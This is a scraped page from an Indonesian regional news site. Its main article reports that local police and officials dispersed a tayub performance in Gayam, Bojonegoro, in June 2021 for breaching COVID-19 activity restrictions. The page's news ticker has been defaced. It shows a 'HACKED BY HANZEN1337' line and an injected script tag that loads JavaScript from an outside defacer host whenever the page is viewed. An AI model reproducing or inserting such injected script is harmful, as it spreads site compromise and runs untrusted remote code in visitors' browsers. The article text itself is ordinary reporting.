News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Langgar Imbauan Pemerintah, Pagelaran Tayub di Gayam, Bojonegoro, Dibubarkan Aparat

Langgar Imbauan Pemerintah, Pagelaran Tayub di Gayam, Bojonegoro, Dibubarkan Aparat

Bojonegoro - Aparat gabungan dari Gugus Tugas Penanggulangan dan Percepatan Penanganan Virus Corona (COVID-19) Kecamatan Gayam, Kabupaten Bojonegoro, pada Rabu (30/06/2021), bubarkan pagelaran tayub di rumah warga di Dusun Ledok, Desa Mojodelik, Kecamatan Gayam.
 
Pagelaran tayub tersebut dibubarkan aparat karena berpotensi menimbulkan kerumunan dan tidak mengindahkan imbauan pemerintah tentang pemberlakuan pembatasan kegiatan masyarakat (PPKM).
 
Dalam kegiatan pembubaran tersebut, tampak petugas dari Polsek Gayam, Posramil Gayam, Satpol PP Kecamatan Gayam, memberikan penjelasan kepada warga yang memiliki hajatan, untuk menghentikan pagelaran tayub tersebut, agar tidak menimbulkan kerumunan.
 
 
Kapolsek Gayam, Ajun Komisaris Polisi (AKP) Bambang Ady Tenggani SH membenarkan, bahwa aparat gabungan dari Satgas Penanggulangan dan Percepatan Penanganan Virus Corona (COVID-19) Kecamatan Gayam, membubarkan pagelaran tayub di rumah warga di Dusun Ledok, Desa Mojodelik, Kecamatan Gayam.
 
"Warga tersebut tidak mengindahkan edaran dari pemerintah terkait pemberlakuan pembatasan kegiatan masyarakat, sehingga kita bubarkan." kata AKP Bambang Adi Tenggani SH.
 
Kapolsek menjelaskan bahwa pergelaran tersebut dibubarkan karena berpotensi menimbulkan kerumunan yang dikhatarikan akan menjadi klaster penularan viurs Corona (COVID-19).
 
"Kita tidak menginginkan adanya klaster baru baru COVID-19 di wilayah Kecamatan Gayam." kata Kapolsek.
 
 
 

Kapolsek Gayam, AKP Bambang Ady Tenggani SH, saat beri keterangan. Rabu (30/06/2021) (foto: dan/beritabojonegoro)

 
Sementara itu, Camat Gayam Agus Haryana Panca Putra mengatakan bahwa pagelaran tayub di Desa Mojodelik, Kecamatan Gayam tersebut terpaksa dibubarkan petugas karena telah melanggar surat edaran Bupati Bojonegoro, Nomor: 440/2627/412.202/2021, tertanggal 19 Juni 2021, tentang imbauan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di Kabupaten Bojonegoro.
 
Menurut Agus, pembubaran tersebut sebagai upaya untuk mencegah penyebaran COVID-19, dengan memperhatikan perkembangan penyebaran COVID-19 di Kabupaten Bojonegoro yang terus meningkat.
 
"Hari ini petugas gabungan telah membubarkan pagelaran tayub di rumah salah satu warga di Desa Mojodelik, Kecamatan Gayam. Kita bubarkan acara tersebut karena telah melanggar protokol kesehatan," kata Agus Haryana Panca Putra
 
 

Camat Gayam Agus Haryana Panca Putra, saat beri keterangan. Rabu (30/06/2021) (foto: dan/beritabojonegoro)

 
 
 
Sebelumnya, Bupati Bojonegoro, Dr Hj Anna Muawanah, telah menerbitklan Surat tentang Imbauan Pembatasan Kegiatan Masyarakat di Kabupaten Bojonegoro.
 
Surat edaran dengan nomor: 440/2627/412.202/2021, tertanggal 19 Juni 2021, tersebut ditandatangani Bupati dan ditujukan kepada Kepala Dinas, Badan, dan Bagian di Lingkungan Pemkab Bojonegoro dan Camat se-Kab.Bojonegoro
 
 
 
Pembatasan kegiatan masyarakat tersebut sebagai upaya pengendalian penyebaran COVID-19, dengan memperhatikan perkembangan penyebaran COVID-19 di Kabupaten Bojonegoro yang terus meningkat.
 
Surat tersebut untuk menindaklanjuti Intruksi Menteri Dalam Negeri, Nomor 13 tahun 2021, tentang Pemberlakuan Pembatasan Kegiatan Masyarakat Berbasis Mikro dan Mengoptimalkan Posko Penanganan Corona Virus Disease 2019 (COVID-19) di Tingkat Desa dan Kelurahan untuk Pengendalian Penyebaran COVID-19, serta memperhatikan perkembangan penyebaran COVID-19 di Kabupaten Bojonegoro. (dan/imm)
 
Berita Terkait
1783873769.2015 at start, 1783873769.5542 at end, 0.35261702537537 sec elapsed